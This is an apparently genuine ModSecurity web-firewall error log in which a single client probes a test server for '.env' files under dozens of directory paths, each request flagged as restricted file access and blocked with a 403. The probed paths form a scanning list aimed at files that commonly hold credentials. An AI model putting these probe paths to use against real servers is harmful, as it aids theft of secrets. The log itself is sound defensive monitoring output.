[Mon Jul 28 20:46:05.396995 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXiwAAAAU&quot;]
[Mon Jul 28 20:46:05.397192 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXiwAAAAU&quot;]
[Mon Jul 28 20:46:05.397332 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXiwAAAAU&quot;]
[Mon Jul 28 20:46:05.419189 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bookchain-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXjAAAAAU&quot;]
[Mon Jul 28 20:46:05.419368 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXjAAAAAU&quot;]
[Mon Jul 28 20:46:05.419537 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXjAAAAAU&quot;]
[Mon Jul 28 20:46:05.464827 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXjgAAAAU&quot;]
[Mon Jul 28 20:46:05.465061 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXjgAAAAU&quot;]
[Mon Jul 28 20:46:05.465227 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXjgAAAAU&quot;]
[Mon Jul 28 20:46:05.487045 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXjwAAAAU&quot;]
[Mon Jul 28 20:46:05.487248 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXjwAAAAU&quot;]
[Mon Jul 28 20:46:05.487411 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXjwAAAAU&quot;]
[Mon Jul 28 20:46:05.509228 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXkAAAAAU&quot;]
[Mon Jul 28 20:46:05.509427 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXkAAAAAU&quot;]
[Mon Jul 28 20:46:05.509576 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXkAAAAAU&quot;]
[Mon Jul 28 20:46:05.531312 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/olcne/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXkQAAAAU&quot;]
[Mon Jul 28 20:46:05.531507 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXkQAAAAU&quot;]
[Mon Jul 28 20:46:05.531659 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXkQAAAAU&quot;]
[Mon Jul 28 20:46:05.553493 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bucoffea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXkgAAAAU&quot;]
[Mon Jul 28 20:46:05.553686 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXkgAAAAU&quot;]
[Mon Jul 28 20:46:05.553847 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXkgAAAAU&quot;]
[Mon Jul 28 20:46:05.620850 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /build/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXlQAAAAU&quot;]
[Mon Jul 28 20:46:05.621027 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXlQAAAAU&quot;]
[Mon Jul 28 20:46:05.621172 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXlQAAAAU&quot;]
[Mon Jul 28 20:46:05.794083 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cardea/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXnAAAAAU&quot;]
[Mon Jul 28 20:46:05.794293 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXnAAAAAU&quot;]
[Mon Jul 28 20:46:05.794494 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXnAAAAAU&quot;]
[Mon Jul 28 20:46:05.816334 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cdw-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXnQAAAAU&quot;]
[Mon Jul 28 20:46:05.816531 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXnQAAAAU&quot;]
[Mon Jul 28 20:46:05.816682 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXnQAAAAU&quot;]
[Mon Jul 28 20:46:05.838582 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cgi-bin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXngAAAAU&quot;]
[Mon Jul 28 20:46:05.838780 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXngAAAAU&quot;]
